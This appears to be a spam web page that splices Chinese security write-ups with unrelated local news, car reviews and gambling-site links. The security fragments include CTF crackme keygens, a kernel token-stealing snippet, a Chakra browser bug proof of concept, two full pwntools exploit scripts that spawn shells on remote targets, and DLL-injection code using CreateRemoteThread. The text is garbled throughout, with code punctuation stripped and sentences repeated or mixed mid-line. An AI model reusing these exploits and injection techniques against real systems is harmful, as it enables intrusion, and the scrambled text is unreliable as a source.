简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A检查完wchan之后,会检查status,这一步绕过的方法很多了。因此,对来说我们可以像这样预设置gConfig:VersionSpecificConfiggConfig={0x2e0,0x348};好了,现在我们偷取Token://getSystemEPROCESSULONG64SystemEPROCESS=PsInitialSystemProcess();ULONG64CurrentEPROCESS=PsGetCurrentProcess();ULONG64SystemToken=0;//readtokenfromsystemprocessReadVirtual(SystemEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//writetokentocurrentprocessWriteVirtual(CurrentEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//reSystem:)所用工具当我搜索GDI数据结构时我发现我缺少一个合适的工具来感应它们,特别是当我需要去在所有地方喷射GDI对象的时候。,Payload:要注入的DLL在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。,运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E00402300754Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017分析发现这是RSA算法,提供了N和D,输入e和p进行匹配。在上面的代码中,获取函数地址的部分没有具体写,上一篇帖子中详细的说明了获取的过程,差别就是上一篇帖子中需要将RVA转化为文件偏移。Exploit防护WindowsDefenderExploitGuard的exploit防护利用目前已经内置到Windows10系统中的一系列漏洞缓解措施和系统强化特性。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。 ,穷举过程非常漫长。启用后,路径访问控制会阻止未经授权的访问,并且会提示用户非法的应用尝试访问或修改受保护的文件,这种保护是实时提供的。Payload:要注入的DLL在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。,2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)有错误还望各位大牛指出,小弟随便学习一下。。

CVE-2016-7200标签(空格分隔):ChakraPOCclassdummy{constructor(){return[1,2,3];}}classMyArrayextendsArray{staticget[](){returndummy;}}vara=newMyArray({},[],"natalie",7,7,7,7,7);functiontest(i){returntrue;}varo=(test);调试boolSparseArraySegmentT::IsMissingItem(constT*value){return*value==SparseArraySegmentT::GetMissingItem();}其中左值为0x0000000200000001,右值为0x8000000280000002value实际指向ArraySegment,其中length=3,size=6,元素为1、2、30x00000170823BC5100000000000000003........0x00000170823BC5180000000600000000........0x00000170823BC5200000000000000000........0x00000170823BC5280000000100000002........0x00000170823BC5300000000380000002.......\n0x00000170823BC5388000000280000002......\n对应于poc中定义的(test);会调用()filter()方法创建一个新数组,其包含通过所提供函数实现的测试的所有元素。有3处"sizeof(BloomWord)"的使用应为"sizeof(BloomWord)*8",因为我们处理的是位,而不是字节。,2017年12月,石羊塘社区被国家民委命名为第五批“全国民族团结进步创建示范区(单位)”,这是贵港市第一个被命名为国家级民族团结进步创建示范单位。此次画展共展出50幅荷花作品,吸引了广大市民前来观看。。线上赌博利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。,对于chakra来说这个函数实现在JavascriptArray::FilterHelper函数中,大体逻辑如下if(pArr){Assert(length=MaxArrayLength);uint32i=0;for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}else{JavascriptArray::SetArrayLikeObjects(newObj,i,element);}++i;}}}代码的逻辑很容易理解,首先从源Array中依次取出元素,再根据用户callback进行判断,如果满足条件就置入新的Array中,否则会被丢弃。、www.v2075.com、分析发现这是RSA算法,提供了N和D,输入e和p进行匹配。,  贵港市有关负责人说,下一步贵港将继续做好“新”文章,引进并拉长新能源产业链,构建完善的产业发展集群,早日建成广西第二个汽车生产基地。2014年11月,“覃塘莲藕”荣获国家农业部颁发农产品地理标志登记证书。这种头注入的问题如果意识到了就十分容易防范。,我们发现,大部分的根通常是从老generation到年轻generation的参照。16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08,  市领导李建锋、黄星荣、徐育东一同巡河、调研。我有一个1024x600的小上网本,好多年了还在用。先说一下如何过反调试,调试环境为ida和android模拟器,ida卡到不行啊,羡慕有真机的。、在政策允许的条件下,市环卫处对涉及市公共交通有限公司、市通泰公共汽车运输有限责任公司的有关收费实行优惠,同时优先对公交站台站牌进行保洁;三方分别指定联络员负责联络,定期进行会商,及时研究解决活动中遇到的问题。步骤:实现:HANDLEGetThePidOfTargetProcess(){//=FindWindowA(0,"Untitled-Notepad");DWORDdwInjectionProcessID;GetWindowThreadProcessId(injectionProcessHwnd,dwInjectionProcessID);cout"Notepadspid-"dwInjectionProcessIDendl;HANDLEinjectionProcessHandle=::OpenProcess(PROCESS_ALL_ACCESS|PROCESS_CREATE_THREAD,0,dwInjectionProcessID);//dwInjectionProcessID);returninjectionProcessHandle;}voidPrivilegeEscalation(){HANDLEhToken;LUIDluid;TOKEN_PRIVILEGEStp;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,hToken);LookupPrivilegeValue(NULL,SE_DEBUG_NAME,luid);=1;[0].Attributes=SE_PRIVILEGE_ENABLED;[0].Luid=luid;AdjustTokenPrivileges(hToken,0,tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);}BOOLDoInjection(char*InjectionDllPath,HANDLEinjectionProcessHandle){DWORDinjBufSize=lstrlen((LPCWSTR)InjectionDllPath)+1;LPVOIDAllocAddr=VirtualAllocEx(injectionProcessHandle,NULL,injBufSize,MEM_COMMIT,PAGE_READWRITE);WriteProcessMemory(injectionProcessHandle,AllocAddr,(void*)InjectionDllPath,injBufSize,NULL);PTHREAD_START_ROUTINEpfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");HANDLEhRemoteThread;if((hRemoteThread=CreateRemoteThread(injectionProcessHandle,NULL,0,pfnStartAddr,AllocAddr,0,NULL))==NULL){ER=GetLastError();cout"CreateRemoteThreadFailed!"endl;returnFALSE;}else{cout"CreateRemoteThreadSuccess!"endl;returnTRUE;}}*具体的实现代码在附件中上传也会附上GitHub地址。与此同时,有数百万潜在的易受攻击的设备IP正在排队等待由自动加载程序处理的c2系统,该加载程序会向设备注入恶意代码以扩大僵尸网络,僵尸网络部分借用了一些mirai源代码,但是与mirai在几个关键行为上有明显的不同,其中包括:不再破解任何弱密码,只能利用物联网设备的漏洞集成LUA执行环境,可以支持和执行更复杂的攻击扫描动作比较小,所以不会触发一些安全警告或者防火墙之类设备与C2服务器数据交互的模式:样本下载服务器:,可以从这个服务器下载bot程序,它通常使用“d”作为二级域名,如主控端服务器:,用于控制设备,发送命令,通常使用“e”作为子域,如扫描服务器:,用于收集的潜在存在漏洞的设备信息,通常使用“f”作为子域,如。。接下来再来说说690DukeR车型,R版车型和普通版车型几乎有着完全相同的配置和表现,不过在一些细节之处,DukeR会有更好的表现。介绍完北极星General,我们说回2017款雅马哈Wolverine。。两个不同的密钥。环塔比赛期间,除了利用线上媒体予以宣传报道,提升品牌影响力和产品的美誉度,越野世家还基于“拥抱客户”的理念,推出了“环塔主题月”活动,通过赠送环塔车贴、服装等形式,将优惠奉送给消费者,使其更好的融入越野文化。在侧面碰撞测试中,别克Envision车内假人不存在受伤的风险,在整个碰撞过程中,驾驶侧假人和副驾驶侧假人的头部都未与外界硬物有接触,碰撞过程中侧面安全气帘正确展开对假人头部进行了有效的保护。朝阳区规划局通知称,该房车营地内现有轻体结构房屋100余栋,所占用地为集体土地,未有规划审批记录。。(唐正芳)+1  本次比赛由国家体育总局社会体育指导中心、中国健美协会与贵港市政府主办,广西社会体育运动发展中心、贵港市体育局承办。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。idapro打开,来到main函数fgets(sn,260,stru_4090E0);v3=strlen(sn)-1;if(v38||v320){sub_401BE0(aKeyLenErrorD__);return0;}输入长度为8-20个字符if(v30){do{v6=sn[v5];if(v6=0||v69)++v4;++v5;}while(v5v3);if(v4){sub_401BE0(aKeyFormatError);return0;}}字符组成为1-9big_init(b1);v22=0;big_load(b1,sn);nullsub_1();big_mul((int)b1,9);sn做为大数*9,即b1=sn*9while(1){big_init3(b2,sn);LOBYTE(v22)=1;v7=big_mul2((int)b1,(int)b2);v8=big_mul((int)b1,9)+v7;nullsub_1();if(v8||big_len((int)b1)%2!=1)gotoLABEL_16;v9=big_len((int)b1);v10=big_val((int)b1,v91);v11=big_val((int)b2,0);v12=b2;if(v10==v11)break;LABEL_17:LOBYTE(v22)=0;sub_401390(v12);if(v8){sub_401BE0(aWrongKey___);gotoLABEL_19;}}循环计算b1=b1*sn*9,直到b1长度为奇数且b1[len/2]==sn[0],其中b2==snb2_len=big_len((int)b2)-1;v14=1-big_len((int)b2);b1_len=big_len((int)b1);v16=big_compare(b1,(int)b2,b1_len+v14,1,b2_len,0);v17=big_len((int)b2);if(big_compare(b1,(int)b2,0,1,v17-1,1)+v16){v8=0;LABEL_16:v12=b2;gotoLABEL_17;}sub_401BE0(aWellDone);正向和反向比较b1和sn,长度为sn-1,即sn[1]开始的数字,至此可以确定是在求回文数。nt!_KINTERRUPT一旦一个中断或异常发生,中断服务例程(ISRs)就会在CPU上执行。攻击服务器:,通过漏洞将bot程序植入扫描服务器收集的设备中下图显示了上述4个IP的流量模式:Iot_reaper中集成的9个IoT漏洞攻击与使用弱密码破解的Mirai不同,IoT_reaper利用多个物联网设备漏洞感染物联网设备。  种植结构调整,调出万元增收  成片的果林沿着公路两旁铺开,一个个经过套袋处理的青枣挂满枝头……仲冬时节,走进广西平南县丹竹镇梅令村,村民们介绍,当地大青枣1月份开始集中上市,一直持续到3月份。。通过分析,下面使用python进行穷举,代码如下:importhashlibimportsysdefhash_md5(src):myMd5=()(src)myMd5_Digest=()returnmyMd5_Digestdefis_ok(v):ifv[2:12]==888aeda4ab:return1return0defdo_md5(src):x=x+=chr(ord(src[0])+1)foriinrange(1,len(src)):x+=chr(ord(src[i])+i)x=hash_md5(hash_md5(x))returnxdefget_sn(str,num):if(num==1):forxinstr:yieldxelse:forxinstr:foryinget_sn(str,num-1):yieldx+yif__name__==__main__:printis_ok(a3888aeda4abba91f31c8e0caae48cb9)#000000x=do_md5(000000)printx[2:12]==fd9e2ddbd6forsninget_sn(0123456789abcdefghijklmnopqrstuvwxyz,6):x=do_md5(sn)ifsn[2:6]==0000:printsnifis_ok(x)==1:printsn=+snbreak,2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。,分析发现这是RSA算法,提供了N和D,输入e和p进行匹配。我有一个1024x600的小上网本,好多年了还在用。前8个字符正好是des块长度,也就是说,我们知道了rc6的部分明文和密文,可以通过rc6解密穷举出rc6后4位key和全部rc6的明文。  “2018年,爱玛、绿源等知名电动车企业将在贵港开工,龙头企业的带动作用将进一步凸显。,但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。他历任荣宝斋(深圳)专职画家、荣宝斋书画研究院副院长、中国美协南方艺术中心专职画家、研究员;广东省文化学会书画专业委员会委员、中国国画院副院长、郑州大学特聘教授、深圳市文化艺术专家委员会副主任委员等职。岳迪明称,这款车型在BMW的发展计划中具有重要意义。。

阅读(965) | 评论(240) | 转发(124) |

上一篇:www.vns6722.com

下一篇:www.wnsr9696.com

给主人留下些什么吧!~~

朱超2018-8-18

闫新凯OD载入,输入123456,点确定半天没反应,忽然来个内存异常。

所以这不是一个好的用户体验,是吗?那么,我们如何执行大量代码而不会阻塞UI使浏览器无法响应呢?解决方案是异步回调。龙潭国家森林公园被誉为广西的“西双版纳”;大藤峡有“小三峡”美称。。出站的旅客或行色匆匆、或面带笑容,随着人流逐步行至站外,现场还有不少穿着制服的民警在站内向旅客发放交通安全知识手册,呼吁市民注意安全出行,确保回家路上安全有序。从这四个字符串中,我们怀疑Satori的作者已经开始逆向IoT设备的固件,并将发现的0day添加到攻击设备列表中结论从上面的Iot僵尸网络家族看出,物联网恶意软件一直存在,从简单的密码暴力攻击发展到利用已知漏洞攻击到利用0day攻击。,原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。。

岳云丽2018-8-18 0:44:5

实现:caseDLL_PROCESS_ATTACH:std::cout"DLL_PROCESS_ATTACH"std::endl;hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)inj,NULL,0,dwThreadId);voidTryConnect(){WSADATAwsa;if(WSAStartup(MAKEWORD(1,1),wsa)!=0){return;}SOCKETm_socket=socket(AF_INET,SOCK_STREAM,0);SOCKADDR_INSocketSendIn;_family=AF_INET;___addr=inet_addr("");_port=htons(53);connect(m_socket,(SOCKADDR*)SocketSendIn,sizeof(SOCKADDR));closesocket(m_socket);WSACleanup();}说明:分析由于这种注入在磁盘中留下了DLL文件,隐蔽性非常不好,所以分析时只需看被注入的进程加载的DLL即可找到被注入的DLL。,这可能会很容易的发生,特别是使用递归的情况下。。Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit()。

赵兴考2018-8-18 0:44:5

lsb=(N==dynsymcount-1)||((dl_new_hash(name[N])%nbuckets)!=(dl_new_hash(name[N+1])%nbuckets))hashval=(dl_new_hash(name)~1)|lsb;使用GNUHash查询符号下列展示了一个符号怎样在使用了GNUhashsection的对象中查找的过程。,会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。。PFN数据库的条目数量为nt!MmPfnSize,这其中有一些额外的条目来处理热插拔内存。。

张林林2018-8-18 0:44:5

